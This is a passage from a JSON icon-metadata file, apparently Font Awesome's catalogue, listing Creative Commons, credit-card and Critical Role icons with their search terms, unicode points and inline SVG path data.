        "path": "M247.7 8C103.6 8 0 124.8 0 256c0 136.4 111.8 248 247.7 248C377.9 504 496 403.2 496 256 496 117.2 388.5 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-21.1 3-41.2 9-60.3l127 56.5h-27.9v38.6h58.1l5.7 11.8v18.7h-63.8V360h63.8v56h61.7v-56h64.2v-35.7l81 36.1c-1.5 2.2-57.1 98.3-175.2 98.3zm87.6-137.3h-57.6v-18.7l2.9-5.6 54.7 24.3zm6.5-51.4v-17.8h-38.6l63-116H301l-43.4 96-23-10.2-39.6-85.7h-65.8l27.3 51-81.9-36.5c27.8-44.1 82.6-98.1 173.7-98.1 112.8 0 203 90 203 203.4 0 21-2.7 40.6-7.9 59l-101-45.1z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-nd": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4eb",
    "label": "Creative Commons No Derivative Works",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm94 144.3v42.5H162.1V197h180.3zm0 79.8v42.5H162.1v-42.5h180.3z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm94 144.3v42.5H162.1V197h180.3zm0 79.8v42.5H162.1v-42.5h180.3z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-pd": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4ec",
    "label": "Creative Commons Public Domain",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm0 449.5c-139.2 0-235.8-138-190.2-267.9l78.8 35.1c-2.1 10.5-3.3 21.5-3.3 32.9 0 99 73.9 126.9 120.4 126.9 22.9 0 53.5-6.7 79.4-29.5L297 311.1c-5.5 6.3-17.6 16.7-36.3 16.7-37.8 0-53.7-39.9-53.9-71.9 230.4 102.6 216.5 96.5 217.9 96.8-34.3 62.4-100.6 104.8-176.7 104.8zm194.2-150l-224-100c18.8-34 54.9-30.7 74.7-11l40.4-41.6c-27.1-23.3-58-27.5-78.1-27.5-47.4 0-80.9 20.5-100.7 51.6l-74.9-33.4c36.1-54.9 98.1-91.2 168.5-91.2 111.1 0 201.5 90.4 201.5 201.5 0 18-2.4 35.4-6.8 52-.3-.1-.4-.2-.6-.4z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm0 449.5c-139.2 0-235.8-138-190.2-267.9l78.8 35.1c-2.1 10.5-3.3 21.5-3.3 32.9 0 99 73.9 126.9 120.4 126.9 22.9 0 53.5-6.7 79.4-29.5L297 311.1c-5.5 6.3-17.6 16.7-36.3 16.7-37.8 0-53.7-39.9-53.9-71.9 230.4 102.6 216.5 96.5 217.9 96.8-34.3 62.4-100.6 104.8-176.7 104.8zm194.2-150l-224-100c18.8-34 54.9-30.7 74.7-11l40.4-41.6c-27.1-23.3-58-27.5-78.1-27.5-47.4 0-80.9 20.5-100.7 51.6l-74.9-33.4c36.1-54.9 98.1-91.2 168.5-91.2 111.1 0 201.5 90.4 201.5 201.5 0 18-2.4 35.4-6.8 52-.3-.1-.4-.2-.6-.4z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-pd-alt": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4ed",
    "label": "Alternate Creative Commons Public Domain",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C104.7 8 0 123.1 0 256c0 138.5 113.6 248 247.6 248C377.5 504 496 403.1 496 256 496 118.1 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.4 85.5-203.3 203.7-203.3 112.6 0 202.9 89.5 202.8 203.3 0 121.7-99.6 202.8-202.8 202.8zM316.7 186h-53.2v137.2h53.2c21.4 0 70-5.1 70-68.6 0-63.4-48.6-68.6-70-68.6zm.8 108.5h-19.9v-79.7l19.4-.1c3.8 0 35-2.1 35 39.9 0 24.6-10.5 39.9-34.5 39.9zM203.7 186h-68.2v137.3h34.6V279h27c54.1 0 57.1-37.5 57.1-46.5 0-31-16.8-46.5-50.5-46.5zm-4.9 67.3h-29.2v-41.6h28.3c30.9 0 28.8 41.6.9 41.6z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C104.7 8 0 123.1 0 256c0 138.5 113.6 248 247.6 248C377.5 504 496 403.1 496 256 496 118.1 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.4 85.5-203.3 203.7-203.3 112.6 0 202.9 89.5 202.8 203.3 0 121.7-99.6 202.8-202.8 202.8zM316.7 186h-53.2v137.2h53.2c21.4 0 70-5.1 70-68.6 0-63.4-48.6-68.6-70-68.6zm.8 108.5h-19.9v-79.7l19.4-.1c3.8 0 35-2.1 35 39.9 0 24.6-10.5 39.9-34.5 39.9zM203.7 186h-68.2v137.3h34.6V279h27c54.1 0 57.1-37.5 57.1-46.5 0-31-16.8-46.5-50.5-46.5zm-4.9 67.3h-29.2v-41.6h28.3c30.9 0 28.8 41.6.9 41.6z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-remix": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4ee",
    "label": "Creative Commons Remix",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm161.7 207.7l4.9 2.2v70c-7.2 3.6-63.4 27.5-67.3 28.8-6.5-1.8-113.7-46.8-137.3-56.2l-64.2 26.6-63.3-27.5v-63.8l59.3-24.8c-.7-.7-.4 5-.4-70.4l67.3-29.7L361 178.5v61.6l49.1 20.3zm-70.4 81.5v-43.8h-.4v-1.8l-113.8-46.5V295l113.8 46.9v-.4l.4.4zm7.5-57.6l39.9-16.4-36.8-15.5-39 16.4 35.9 15.5zm52.3 38.1v-43L355.2 298v43.4l44.3-19z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm161.7 207.7l4.9 2.2v70c-7.2 3.6-63.4 27.5-67.3 28.8-6.5-1.8-113.7-46.8-137.3-56.2l-64.2 26.6-63.3-27.5v-63.8l59.3-24.8c-.7-.7-.4 5-.4-70.4l67.3-29.7L361 178.5v61.6l49.1 20.3zm-70.4 81.5v-43.8h-.4v-1.8l-113.8-46.5V295l113.8 46.9v-.4l.4.4zm7.5-57.6l39.9-16.4-36.8-15.5-39 16.4 35.9 15.5zm52.3 38.1v-43L355.2 298v43.4l44.3-19z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-sa": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4ef",
    "label": "Creative Commons Share Alike",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zM137.7 221c13-83.9 80.5-95.7 108.9-95.7 99.8 0 127.5 82.5 127.5 134.2 0 63.6-41 132.9-128.9 132.9-38.9 0-99.1-20-109.4-97h62.5c1.5 30.1 19.6 45.2 54.5 45.2 23.3 0 58-18.2 58-82.8 0-82.5-49.1-80.6-56.7-80.6-33.1 0-51.7 14.6-55.8 43.8h18.2l-49.2 49.2-49-49.2h19.4z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zM137.7 221c13-83.9 80.5-95.7 108.9-95.7 99.8 0 127.5 82.5 127.5 134.2 0 63.6-41 132.9-128.9 132.9-38.9 0-99.1-20-109.4-97h62.5c1.5 30.1 19.6 45.2 54.5 45.2 23.3 0 58-18.2 58-82.8 0-82.5-49.1-80.6-56.7-80.6-33.1 0-51.7 14.6-55.8 43.8h18.2l-49.2 49.2-49-49.2h19.4z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-sampling": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f0",
    "label": "Creative Commons Sampling",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm3.6 53.2c2.8-.3 11.5 1 11.5 11.5l6.6 107.2 4.9-59.3c0-6 4.7-10.6 10.6-10.6 5.9 0 10.6 4.7 10.6 10.6 0 2.5-.5-5.7 5.7 81.5l5.8-64.2c.3-2.9 2.9-9.3 10.2-9.3 3.8 0 9.9 2.3 10.6 8.9l11.5 96.5 5.3-12.8c1.8-4.4 5.2-6.6 10.2-6.6h58v21.3h-50.9l-18.2 44.3c-3.9 9.9-19.5 9.1-20.8-3.1l-4-31.9-7.5 92.6c-.3 3-3 9.3-10.2 9.3-3 0-9.8-2.1-10.6-9.3 0-1.9.6 5.8-6.2-77.9l-5.3 72.2c-1.1 4.8-4.8 9.3-10.6 9.3-2.9 0-9.8-2-10.6-9.3 0-1.9.5 6.7-5.8-87.7l-5.8 94.8c0 6.3-3.6 12.4-10.6 12.4-5.2 0-10.6-4.1-10.6-12l-5.8-87.7c-5.8 92.5-5.3 84-5.3 85.9-1.1 4.8-4.8 9.3-10.6 9.3-3 0-9.8-2.1-10.6-9.3 0-.7-.4-1.1-.4-2.6l-6.2-88.6L182 348c-.7 6.5-6.7 9.3-10.6 9.3-5.8 0-9.6-4.1-10.6-8.9L149.7 272c-2 4-3.5 8.4-11.1 8.4H87.2v-21.3H132l13.7-27.9c4.4-9.9 18.2-7.2 19.9 2.7l3.1 20.4 8.4-97.9c0-6 4.8-10.6 10.6-10.6.5 0 10.6-.2 10.6 12.4l4.9 69.1 6.6-92.6c0-10.1 9.5-10.6 10.2-10.6.6 0 10.6.7 10.6 10.6l5.3 80.6 6.2-97.9c.1-1.1-.6-10.3 9.9-11.5z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm3.6 53.2c2.8-.3 11.5 1 11.5 11.5l6.6 107.2 4.9-59.3c0-6 4.7-10.6 10.6-10.6 5.9 0 10.6 4.7 10.6 10.6 0 2.5-.5-5.7 5.7 81.5l5.8-64.2c.3-2.9 2.9-9.3 10.2-9.3 3.8 0 9.9 2.3 10.6 8.9l11.5 96.5 5.3-12.8c1.8-4.4 5.2-6.6 10.2-6.6h58v21.3h-50.9l-18.2 44.3c-3.9 9.9-19.5 9.1-20.8-3.1l-4-31.9-7.5 92.6c-.3 3-3 9.3-10.2 9.3-3 0-9.8-2.1-10.6-9.3 0-1.9.6 5.8-6.2-77.9l-5.3 72.2c-1.1 4.8-4.8 9.3-10.6 9.3-2.9 0-9.8-2-10.6-9.3 0-1.9.5 6.7-5.8-87.7l-5.8 94.8c0 6.3-3.6 12.4-10.6 12.4-5.2 0-10.6-4.1-10.6-12l-5.8-87.7c-5.8 92.5-5.3 84-5.3 85.9-1.1 4.8-4.8 9.3-10.6 9.3-3 0-9.8-2.1-10.6-9.3 0-.7-.4-1.1-.4-2.6l-6.2-88.6L182 348c-.7 6.5-6.7 9.3-10.6 9.3-5.8 0-9.6-4.1-10.6-8.9L149.7 272c-2 4-3.5 8.4-11.1 8.4H87.2v-21.3H132l13.7-27.9c4.4-9.9 18.2-7.2 19.9 2.7l3.1 20.4 8.4-97.9c0-6 4.8-10.6 10.6-10.6.5 0 10.6-.2 10.6 12.4l4.9 69.1 6.6-92.6c0-10.1 9.5-10.6 10.2-10.6.6 0 10.6.7 10.6 10.6l5.3 80.6 6.2-97.9c.1-1.1-.6-10.3 9.9-11.5z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-sampling-plus": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f1",
    "label": "Creative Commons Sampling +",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm107 205.6c-4.7 0-9 2.8-10.7 7.2l-4 9.5-11-92.8c-1.7-13.9-22-13.4-23.1.4l-4.3 51.4-5.2-68.8c-1.1-14.3-22.1-14.2-23.2 0l-3.5 44.9-5.9-94.3c-.9-14.5-22.3-14.4-23.2 0l-5.1 83.7-4.3-66.3c-.9-14.4-22.2-14.4-23.2 0l-5.3 80.2-4.1-57c-1.1-14.3-22-14.3-23.2-.2l-7.7 89.8-1.8-12.2c-1.7-11.4-17.1-13.6-22-3.3l-13.2 27.7H87.5v23.2h51.3c4.4 0 8.4-2.5 10.4-6.4l10.7 73.1c2 13.5 21.9 13 23.1-.7l3.8-43.6 5.7 78.3c1.1 14.4 22.3 14.2 23.2-.1l4.6-70.4 4.8 73.3c.9 14.4 22.3 14.4 23.2-.1l4.9-80.5 4.5 71.8c.9 14.3 22.1 14.5 23.2.2l4.6-58.6 4.9 64.4c1.1 14.3 22 14.2 23.1.1l6.8-83 2.7 22.3c1.4 11.8 17.7 14.1 22.3 3.1l18-43.4h50.5V258l-58.4.3zm-78 5.2h-21.9v21.9c0 4.1-3.3 7.5-7.5 7.5-4.1 0-7.5-3.3-7.5-7.5v-21.9h-21.9c-4.1 0-7.5-3.3-7.5-7.5 0-4.1 3.4-7.5 7.5-7.5h21.9v-21.9c0-4.1 3.4-7.5 7.5-7.5s7.5 3.3 7.5 7.5v21.9h21.9c4.1 0 7.5 3.3 7.5 7.5 0 4.1-3.4 7.5-7.5 7.5z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm107 205.6c-4.7 0-9 2.8-10.7 7.2l-4 9.5-11-92.8c-1.7-13.9-22-13.4-23.1.4l-4.3 51.4-5.2-68.8c-1.1-14.3-22.1-14.2-23.2 0l-3.5 44.9-5.9-94.3c-.9-14.5-22.3-14.4-23.2 0l-5.1 83.7-4.3-66.3c-.9-14.4-22.2-14.4-23.2 0l-5.3 80.2-4.1-57c-1.1-14.3-22-14.3-23.2-.2l-7.7 89.8-1.8-12.2c-1.7-11.4-17.1-13.6-22-3.3l-13.2 27.7H87.5v23.2h51.3c4.4 0 8.4-2.5 10.4-6.4l10.7 73.1c2 13.5 21.9 13 23.1-.7l3.8-43.6 5.7 78.3c1.1 14.4 22.3 14.2 23.2-.1l4.6-70.4 4.8 73.3c.9 14.4 22.3 14.4 23.2-.1l4.9-80.5 4.5 71.8c.9 14.3 22.1 14.5 23.2.2l4.6-58.6 4.9 64.4c1.1 14.3 22 14.2 23.1.1l6.8-83 2.7 22.3c1.4 11.8 17.7 14.1 22.3 3.1l18-43.4h50.5V258l-58.4.3zm-78 5.2h-21.9v21.9c0 4.1-3.3 7.5-7.5 7.5-4.1 0-7.5-3.3-7.5-7.5v-21.9h-21.9c-4.1 0-7.5-3.3-7.5-7.5 0-4.1 3.4-7.5 7.5-7.5h21.9v-21.9c0-4.1 3.4-7.5 7.5-7.5s7.5 3.3 7.5 7.5v21.9h21.9c4.1 0 7.5 3.3 7.5 7.5 0 4.1-3.4 7.5-7.5 7.5z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-share": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f2",
    "label": "Creative Commons Share",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm101 132.4c7.8 0 13.7 6.1 13.7 13.7v182.5c0 7.7-6.1 13.7-13.7 13.7H214.3c-7.7 0-13.7-6-13.7-13.7v-54h-54c-7.8 0-13.7-6-13.7-13.7V131.1c0-8.2 6.6-12.7 12.4-13.7h136.4c7.7 0 13.7 6 13.7 13.7v54h54zM159.9 300.3h40.7V198.9c0-7.4 5.8-12.6 12-13.7h55.8v-40.3H159.9v155.4zm176.2-88.1H227.6v155.4h108.5V212.2z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm101 132.4c7.8 0 13.7 6.1 13.7 13.7v182.5c0 7.7-6.1 13.7-13.7 13.7H214.3c-7.7 0-13.7-6-13.7-13.7v-54h-54c-7.8 0-13.7-6-13.7-13.7V131.1c0-8.2 6.6-12.7 12.4-13.7h136.4c7.7 0 13.7 6 13.7 13.7v54h54zM159.9 300.3h40.7V198.9c0-7.4 5.8-12.6 12-13.7h55.8v-40.3H159.9v155.4zm176.2-88.1H227.6v155.4h108.5V212.2z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-zero": {
    "changes": ["5.0.11", "5.4.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f3",
    "label": "Creative Commons CC0",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm-.4 60.5c-81.9 0-102.5 77.3-102.5 142.8 0 65.5 20.6 142.8 102.5 142.8S350.5 321.5 350.5 256c0-65.5-20.6-142.8-102.5-142.8zm0 53.9c3.3 0 6.4.5 9.2 1.2 5.9 5.1 8.8 12.1 3.1 21.9l-54.5 100.2c-1.7-12.7-1.9-25.1-1.9-34.4 0-28.8 2-88.9 44.1-88.9zm40.8 46.2c2.9 15.4 3.3 31.4 3.3 42.7 0 28.9-2 88.9-44.1 88.9-13.5 0-32.6-7.7-20.1-26.4l60.9-105.2z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm-.4 60.5c-81.9 0-102.5 77.3-102.5 142.8 0 65.5 20.6 142.8 102.5 142.8S350.5 321.5 350.5 256c0-65.5-20.6-142.8-102.5-142.8zm0 53.9c3.3 0 6.4.5 9.2 1.2 5.9 5.1 8.8 12.1 3.1 21.9l-54.5 100.2c-1.7-12.7-1.9-25.1-1.9-34.4 0-28.8 2-88.9 44.1-88.9zm40.8 46.2c2.9 15.4 3.3 31.4 3.3 42.7 0 28.9-2 88.9-44.1 88.9-13.5 0-32.6-7.7-20.1-26.4l60.9-105.2z"
      }
    },
    "free": ["brands"]
  },
  "credit-card": {
    "aliases": {
      "names": ["credit-card-alt"],
      "unicodes": {
        "composite": ["1f4b3", "f283"],
        "secondary": ["10f09d"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buy",
        "card",
        "checkout",
        "credit",
        "credit card",
        "credit-card-alt",
        "debit",
        "money",
        "payment",
        "purchase"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f09d",
    "label": "Credit Card",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96v32H576V96c0-35.3-28.7-64-64-64H64zM576 224H0V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V224zM112 352h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm112 16c0-8.8 7.2-16 16-16H368c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-8.8 0-16-7.2-16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96v32H576V96c0-35.3-28.7-64-64-64H64zM576 224H0V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V224zM112 352h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm112 16c0-8.8 7.2-16 16-16H368c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-8.8 0-16-7.2-16-16z"
      },
      "regular": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M512 80c8.8 0 16 7.2 16 16v32H48V96c0-8.8 7.2-16 16-16H512zm16 144V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V224H528zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm56 304c-13.3 0-24 10.7-24 24s10.7 24 24 24h48c13.3 0 24-10.7 24-24s-10.7-24-24-24H120zm128 0c-13.3 0-24 10.7-24 24s10.7 24 24 24H360c13.3 0 24-10.7 24-24s-10.7-24-24-24H248z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M512 80c8.8 0 16 7.2 16 16v32H48V96c0-8.8 7.2-16 16-16H512zm16 144V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V224H528zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm56 304c-13.3 0-24 10.7-24 24s10.7 24 24 24h48c13.3 0 24-10.7 24-24s-10.7-24-24-24H120zm128 0c-13.3 0-24 10.7-24 24s10.7 24 24 24H360c13.3 0 24-10.7 24-24s-10.7-24-24-24H248z"
      }
    },
    "free": ["regular", "solid"]
  },
  "critical-role": {
    "changes": ["5.4.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "d&d",
        "dnd",
        "fantasy",
        "game",
        "gaming",
        "tabletop"
      ]
    },
    "styles": ["brands"],
    "unicode": "f6c9",
    "label": "Critical Role",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M225.82 0c.26.15 216.57 124.51 217.12 124.72 3 1.18 3.7 3.46 3.7 6.56q-.11 125.17 0 250.36a5.88 5.88 0 0 1-3.38 5.78c-21.37 12-207.86 118.29-218.93 124.58h-3C142 466.34 3.08 386.56 2.93 386.48a3.29 3.29 0 0 1-1.88-3.24c0-.87 0-225.94-.05-253.1a5 5 0 0 1 2.93-4.93C27.19 112.11 213.2 6 224.07 0zM215.4 20.42l-.22-.16Q118.06 75.55 21 130.87c0 .12.08.23.13.35l30.86 11.64c-7.71 6-8.32 6-10.65 5.13-.1 0-24.17-9.28-26.8-10v230.43c.88-1.41 64.07-110.91 64.13-111 1.62-2.82 3-1.92 9.12-1.52 1.4.09 1.48.22.78 1.42-41.19 71.33-36.4 63-67.48 116.94-.81 1.4-.61 1.13 1.25 1.13h186.5c1.44 0 1.69-.23 1.7-1.64v-8.88c0-1.34 2.36-.81-18.37-1-7.46-.07-14.14-3.22-21.38-12.7-7.38-9.66-14.62-19.43-21.85-29.21-2.28-3.08-3.45-2.38-16.76-2.38-1.75 0-1.78 0-1.76 1.82.29 26.21.15 25.27 1 32.66.52 4.37 2.16 4.2 9.69 4.81 3.14.26 3.88 4.08.52 4.92-1.57.39-31.6.51-33.67-.1a2.42 2.42 0 0 1 .3-4.73c3.29-.76 6.16.81 6.66-4.44 1.3-13.66 1.17-9 1.1-79.42 0-10.82-.35-12.58-5.36-13.55-1.22-.24-3.54-.16-4.69-.55-2.88-1-2-4.84 1.77-4.85 33.67 0 46.08-1.07 56.06 4.86 7.74 4.61 12 11.48 12.51 20.4.88 14.59-6.51 22.35-15 32.59a1.46 1.46 0 0 0 0 2.22c2.6 3.25 5 6.63 7.71 9.83 27.56 33.23 24.11 30.54 41.28 33.06.89.13 1-.42 1-1.15v-11c0-1 .32-1.43 1.41-1.26a72.37 72.37 0 0 0 23.58-.3c1.08-.15 1.5.2 1.48 1.33 0 .11.88 26.69.87 26.8-.05 1.52.67 1.62 1.89 1.62h186.71Q386.51 304.6 346 234.33c2.26-.66-.4 0 6.69-1.39 2-.39 2.05-.41 3.11 1.44 7.31 12.64 77.31 134 77.37 134.06V138c-1.72.5-103.3 38.72-105.76 